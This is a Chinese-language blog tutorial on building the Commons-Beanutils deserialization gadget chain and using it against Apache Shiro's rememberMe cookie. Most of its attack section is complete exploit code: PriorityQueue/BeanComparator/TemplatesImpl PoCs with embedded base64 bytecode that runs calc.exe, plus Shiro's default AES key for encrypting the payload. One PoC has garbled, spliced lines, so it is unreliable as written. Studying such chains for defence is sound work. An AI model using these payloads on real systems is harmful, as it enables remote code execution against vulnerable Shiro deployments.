前言

前面已经学习了CC1到CC7的利用链,其中在CC2中认识了java.util.PriorityQueue ,它在Java中是一个优先队列,队列中每一个元素有自己的优先级。在反序列化这个对象时,为了保证队列顺序,会进行重排序的操作,而排序就涉及到大小比较,进而执行java.util.Comparator接口的compare()方法。

那么是否还能找到其他可以利用的java.util.Comparator对象呢?

Apache Commons Beanutils

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法

比如,Cat是一个最简单的JavaBean类

final public class Cat {
private String name = "catalina"; public String getName() {
return name;
} public void setName(String name) {
this.name = name;
}
}

它包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。其中,getter的方法名以get开头,setter的方法名以set开头,全名符合骆驼式命名法(Camel-Case)。

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty ,让使用者可以直接调用任意JavaBean的getter方法,比如

PropertyUtils.getProperty(new Cat(), "name");

此时,commons-beanutils会自动找到name属性的getter方法,也就是getName,然后调用,获得返回值。除此之外,PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象 中有属性c,我们可以通过PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。通过这个 方法,使用者可以很方便地调用任意对象的getter,适用于在不确定JavaBean是哪个类对象时使用。 当然,commons-beanutils中诸如此类的辅助方法还有很多,如调用setter、拷贝属性等。

getter

前边说了,我们需要找可以利用的java.util.Comparator对象,在commons-beanutils包中就存在一个:org.apache.commons.beanutils.BeanComparator

BeanComparator 是commons-beanutils提供的用来比较两个JavaBean是否相等的类,其实现了java.util.Comparator接口。我们看它的compare方法

这个方法传入两个对象,如果this.property为空,则直接比较这两个对象;如果this.property不为空,则用PropertyUtils.getProperty分别取这两个对象的this.property属性,比较属性的值,上一节我们说了,PropertyUtils.getProperty这个方法会自动去调用一个JavaBean的getter方法,这个点是任意代码执行的关键。有没有什么getter方法可以执行恶意代码呢?

在[Java安全之动态加载字节码(https://www.cnblogs.com/gk0d/p/16880749.html)中,在分析TemplatesImpl时,有过这么一段描述

追溯到到最前面两个方法TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer() ,这两者的作用域是public,可以被外部调用

其中TemplatesImpl#getOutputProperties()方法是调用链上的一环,它的内部调用了 TemplatesImpl#newTransformer(),也就是我们后面常用来执行恶意字节码的地方。

public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

getOutputProperties这个名字,是以get开头,正符合getter的定义。

所以,PropertyUtils.getProperty(o1,property) 这段代码,当o1是一个TemplatesImpl对象,而 property 的值为 outputProperties时,将会自动调用getter,也就是TemplatesImpl#getOutputProperties()方法,触发代码执行。

利用链构造

首先创建TemplateImpl:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后,实例化BeanComparator ,BeanComparator构造函数为空时,默认的property就是空:

final BeanComparator comparator = new BeanComparator();

然后用这个comparator实例化优先队列PriorityQueue

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);

可见,我们添加了两个无害的可以比较的对象进队列中。前文说过, BeanComparator#compare()中, 如果this.property 为空,则直接比较这两个对象。这里实际上就是对两个1进行排序。

初始化时使用正经对象,且property为空,这一系列操作是为了初始化的时候不要出错。然后,我们再用反射将property的值设置成恶意的outputProperties,将队列里的两个1替换成恶意的TemplateImpl对象:

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj})

最终POC如下:

package org.example;

import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; public class CommonsBeanutils1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "gk0d");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close(); System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

Shiro550

之前在利用TemplatesImpl攻击Shiro中写了利用CC链加TemplatesImpl来攻击Shiro。

这里说一下,Shiro是依赖于commons-beanutils的,所以说只要有shiro就一定有CB,用CB利用链肯定会更加方便。

构造POC:

使用上面的CB链进行加密打Shrio试试

import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource; public class cb_shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "Arsene.Tang");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close(); byte[] payload= barr.toByteArray();
AesCipherService aes = new AesCipherService();
byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource finalpayload = aes.encrypt(payload,key);
System.out.println(finalpayload.toString());
}
}

Caused by:java.io.InvalidClassException:org.apache.commons.beanutils.BeanComparator;local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

serialVersionUID

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通 信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会 根据固定算法计算出一个当前类的serialVersionUID值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID不同,则反序列化就会异常退出,避免后续的未知隐患。

当然,开发者也可以手工给类赋予一个serialVersionUID值,此时就能手工控制兼容性了。

我们在生成rememberMe的时候本地使用的是commons-beanutils1.9.4版本,而shiro自带的是1.8.3版本。出现了serialVersionUID对应不上的问题。

所以我们直接将本地的commons-beanutils也换成1.8.3版本。再次生成Payload进行测试,仍然没有触发代码执行。

没找到org.apache.commons.collections.comparators.ComparableComparator类,从包名即可看出,这个类是来自于commons-collections,commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽 然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。

无依赖的Shiro反序列化利用链

看看org.apache.commons.collections.comparators.ComparableComparator这个类在哪里使用了:

BeanComparator类的构造函数处,当没有显式传入Comparator的情况下,则默认使用 ComparableComparator

既然此时没有ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:

  • 实现 java.util.Comparator接口
  • 实现java.io.Serializable接口
  • Java、shiro或commons-beanutils自带

  public static final Comparator<String> CASE_INSENSITIVE_ORDER
= new CaseInsensitiveComparator();
private static class CaseInsensitiveComparator
implements Comparator<String>, java.io.Serializable {
// use serialVersionUID from JDK 1.2.2 for interoperability
private static final long serialVersionUID = 8575799808933029326L; public int compare(String s1, String s2) {
int n1 = s1.length();
int n2 = s2.length();
int min = Math.min(n1, n2);
for (int i = 0; i < min; i++) {
char c1 = s1.charAt(i);
char c2 = s2.charAt(i);
if (c1 != c2) {
c1 = Character.toUpperCase(c1);
c2 = Character.toUpperCase(c2);
if (c1 != c2) {
c1 = Character.toLowerCase(c1);
c2 = Character.toLowerCase(c2);
if (c1 != c2) {
// No overflow because of numeric promotion
return c1 - c2;
}
}
}
}
return n1 - n2;
}

CaseInsensitiveComparator类是java.lang.String类下的一个内部私有类,其实现了 ComparatorSerializable,且位于Java的核心代码

通过String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的CaseInsensitiveComparator对象,用它来实例化 BeanComparator

final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

最后构造处新的利用链

package org.example;

import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource; import static java.util.Base64.getDecoder; public class cb_shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
public static void main(St
}ring[] args) throws Exception {
byte[] code = getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
final Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close(); byte[] payload= barr.toByteArray();
AesCipherService aes = new AesCipherService();
byte [] key = getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource finalpayload = aes.encrypt(payload,key);
System.out.println(finalpayload.toString());
}
}

又报错,因为我们后面添加的是两个整形对象,不能转换成字符串类型,那我们把1改成"1"就解决了

queue.add(“1”);
queue.add(“1”);

CB利用链及无依赖打Shiro的更多相关文章

  1. 从commons-beanutils反序列化到shiro无依赖的漏洞利用

    目录 0 前言 1 环境 2 commons-beanutils反序列化链 2.1 TemplatesImple调用链 2.2 PriorityQueue调用链 2.3 BeanComparator ...

  2. ysoserial-CommonsBeanutils1的shiro无依赖链改造

    ysoserial-CommonsBeanutils1的shiro无依赖链改造 一.CB1利用链分析 此条利用链需要配合Commons-Beanutils组件来进行利用,在shiro中是自带此组件的. ...

  3. commons-collections利用链学习总结

    目录 1 基础 ConstantTransformer InvokeTransformer ChainedTransformer LazyMap TiedMapEntry TransformingCo ...

  4. TemplatesImpl利用链

    FastJson利用链 Fastjson的版本在1.2.22-1.2.24主要有两条链利用TemplatsImpl和JdbcRowSetImpl利用链先来学习TemplatsImpl利用链,这个与前面 ...

  5. Fastjson JdbcRowSetImpl利用链学习

    JdbcRowSetImpl 接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体se ...

  6. 工作中经常用到github上优秀、实用、轻量级、无依赖的插件和库

    原文收录在我的 GitHub博客 (https://github.com/jawil/blog) ,喜欢的可以关注最新动态,大家一起多交流学习,共同进步,以学习者的身份写博客,记录点滴. 按照格式推荐 ...

  7. 工作中经常用到 github 上优秀、实用、轻量级、无依赖的插件和库

    原文收录在 GitHub博客 ( https://github.com/jawil/blog ) ,喜欢的可以关注最新动态,大家一起多交流学习,共同进步,以学习者的身份写博客,记录点滴. 由于gith ...

  8. 深入剖析CVE-2021-40444-Cabless利用链

    背景 CVE-2021-40444为微软MHTML远程命令执行漏洞,攻击者可通过传播Microsoft Office文档,诱导目标点击文档从而在目标机器上执行任意代码.该漏洞最初的利用思路是使用下载c ...

  9. WebFetch 是无依赖极简网页爬取组件

    WebFetch 是无依赖极简网页爬取组件,能在移动设备上运行的微型爬虫. WebFetch 要达到的目标: 没有第三方依赖jar包 减少内存使用 提高CPU利用率 加快网络爬取速度 简洁明了的api ...

  10. 上传图片,多图上传,预览功能,js原生无依赖

    最近很好奇前端的文件上传功能,因为公司要求做一个支持图片预览的图片上传插件,所以自己搜了很多相关的插件,虽然功能很多,但有些地方不能根据公司的想法去修改,而且需要依赖jQuery或Bootstrap库 ...

随机推荐

  1. cobaltstrike进行局域网远控

    用cobaltstrike进行局域网远控 cobalt strike(简称CS)是一款团队作战渗透测试神器,分为客户端及服务端,一个服务端可以对应多个客户端,一个客户端可以连接多个服务端. 实验原理: ...

  2. KingbaseES V8R6集群维护案例之--单实例数据迁移到集群案例

    案例说明: 生产环境是单实例,测试环境是集群,现需要将生产环境的数据迁移到集群中运行,本文档详细介绍了从单实例环境恢复数据到集群环境的操作步骤,可以作为生产环境迁移数据的参考. 适用版本: Kingb ...

  3. Job And Schedule (V8R6C3)

    KingbaseES 数据库提供了 kdb_schedule 扩展,使得用户能通过类似oracle job 的方式进行job调用.kdb_schedule 提供了三个Schema :dbms_job ...

  4. 跟羽夏学 Ghidra ——导航

    写在前面   此系列是本人一个字一个字码出来的,包括示例和实验截图.本人非计算机专业,可能对本教程涉及的事物没有了解的足够深入,如有错误,欢迎批评指正. 如有好的建议,欢迎反馈.码字不易,如果本篇文章 ...

  5. Java SE 4、继承

    继承 基本语法 class 子类 extends 父类{ } 子类就会自动拥有父类定义的属性和方法 父类又叫 超类,基类,子类又叫 派生类 细节 子类继承了所有的属性和方法,非私有的属性和方法可以在子 ...

  6. Elastic:使用Kafka部署Elastic Stack

  7. Elasticsearch 开发入门 - Python

    文章转载自:https://elasticstack.blog.csdn.net/article/details/111573923 前提条件 你需要在你的电脑上安装 python3 你需要安装 do ...

  8. nginx干货文档

    文档地址:https://files.cnblogs.com/files/sanduzxcvbnm/跟冰河学习Nginx技术.pdf

  9. 2_Git

    一. 引言 在单人开发过程中, 需要进行版本管理, 以利于开发进度的控制 在多人开发过程中, 不仅需要版本管理, 还需要进行多人协同控制 二. 介绍 Git是一个开源的分布式版本控制系统, 用于敏捷高 ...

  10. 驱动开发:内核中实现Dump进程转储

    多数ARK反内核工具中都存在驱动级别的内存转存功能,该功能可以将应用层中运行进程的内存镜像转存到特定目录下,内存转存功能在应对加壳程序的分析尤为重要,当进程在内存中解码后,我们可以很容易的将内存镜像导 ...